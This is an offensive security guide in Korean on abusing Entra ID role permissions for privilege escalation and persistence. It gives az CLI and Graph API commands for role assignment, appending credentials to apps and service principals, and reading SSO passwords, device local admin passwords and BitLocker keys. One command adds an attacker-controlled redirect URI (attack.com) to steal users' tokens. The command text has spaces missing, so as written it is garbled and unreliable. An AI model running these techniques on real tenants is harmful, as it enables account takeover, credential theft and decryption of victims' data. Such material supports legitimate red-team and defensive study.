Entra ID에 내장된 모든 세부 권한이 사용자 정의 역할에 사용될 수 있는 것은 아닙니다.
Roles
Role: Privileged Role Administrator
이 역할은 주체에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 데 필요한 세부 권한을 포함합니다. 두 가지 작업 모두 권한 상승을 위해 악용될 수 있습니다.
사용자에게 역할 할당:
# List enabled built-in rolesazrest--methodGET \--uri "https://graph.microsoft.com/v1.0/directoryRoles"# Give role (Global Administrator?) to a userroleId="<roleId>"userId="<userId>"azrest--methodPOST \--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \--headers "Content-Type=application/json" \--body "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"}"
역할에 더 많은 권한 추가:
# List only custom rolesazrest--methodGET \--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"|jq'.value[] | select(.isBuiltIn == false)'# Change the permissions of a custom roleazrest--methodPATCH \--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \--headers "Content-Type=application/json" \--body '{"description": "Update basic properties of application registrations","rolePermissions": [{"allowedResourceActions": ["microsoft.directory/applications/credentials/update"]}]}'
이것은 공격자가 기존 애플리케이션에 자격 증명(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 특권 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다.
# Generate a new password without overwritting old onesazadappcredentialreset--id<appId>--append# Generate a new certificate without overwritting old onesazadappcredentialreset--id<appId>--create-cert
공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 자동으로 이루어지며 사용자가 아무것도 수락할 필요가 없습니다.
애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을 요청하는 프롬프트를 다시 수락해야 합니다.
# Get current redirect urisazadappshow--idea693289-78f3-40c6-b775-feabd8bef32f--query"web.redirectUris"# Add a new redirect URI (make sure to keep the configured ones)azadappupdate--id<app-id>--web-redirect-uris"https://original.com/callback https://attack.com/callback"
이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.
azadspcredentialreset--id<sp-id>--append
새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.
API를 통해 다음과 같이 찾을 수 있습니다: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
만약 "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."라는 오류가 발생하면, SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(microsoft.directory/applications/allProperties/update)이 필요합니다:
응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
# Add new ownerspId="<spId>"userId="<userId>"azrest--methodPOST \--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \--headers "Content-Type=application/json" \--body "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"}"azadspcredentialreset--id<sp-id>--append# You can check the owners withazadspownerlist--id<spId>
새로운 소유자를 추가한 후, 이를 제거하려고 했지만 API는 DELETE 메서드가 지원되지 않는다고 응답했습니다. 소유자를 삭제하는 데 필요한 메서드임에도 불구하고 말이죠. 그래서 현재 소유자를 제거할 수 없습니다.
microsoft.directory/servicePrincipals/disable 및 enable
이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 권한 상승을 위해 접근할 수 있는 서비스 주체를 활성화할 수 있습니다.
이 기술을 사용하기 위해 공격자는 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요.
이 권한은 단일 로그인에 대한 자격 증명을 생성하고 가져올 수 있게 하여 타사 애플리케이션에 대한 액세스를 허용할 수 있습니다.
# Generate SSO creds for a user or a groupspID="<spId>"user_or_group_id="<id>"username="<username>"password="<password>"azrest--methodPOST \--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \--headers "Content-Type=application/json" \--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"# Get credentials of a specific credIDcredID="<credID>"azrest--methodPOST \--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \--headers "Content-Type=application/json" \--body "{\"id\": \"$credID\"}"
이 권한은 사용자의 속성을 수정할 수 있게 해줍니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 찾는 것이 일반적이므로, 이 권한은 사용자가 특정 동적 그룹의 구성원이 되기 위해 필요한 속성 값을 설정할 수 있게 하여 권한 상승을 가능하게 할 수 있습니다.
#e.g. change manager of a uservictimUser="<userID>"managerUser="<userID>"azrest--methodPUT \--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \--headers "Content-Type=application/json" \--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'#e.g. change department of a userazrest--methodPATCH \--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \--headers "Content-Type=application/json" \--body "{\"department\": \"security\"}"
이 권한은 공격자가 Microsoft Entra에 가입된 장치의 백업된 로컬 관리자 계정 자격 증명의 속성을 읽을 수 있도록 하며, 여기에는 비밀번호가 포함됩니다.
# List deviceLocalCredentialsazrest--methodGET \--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"# Get credentialsdeviceLC="<deviceLCID>"azrest--methodGET \--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 침해할 수 있게 합니다.
# List recovery keysazrest--methodGET \--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"# Get keyrecoveryKeyId="<recoveryKeyId>"azrest--methodGET \--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"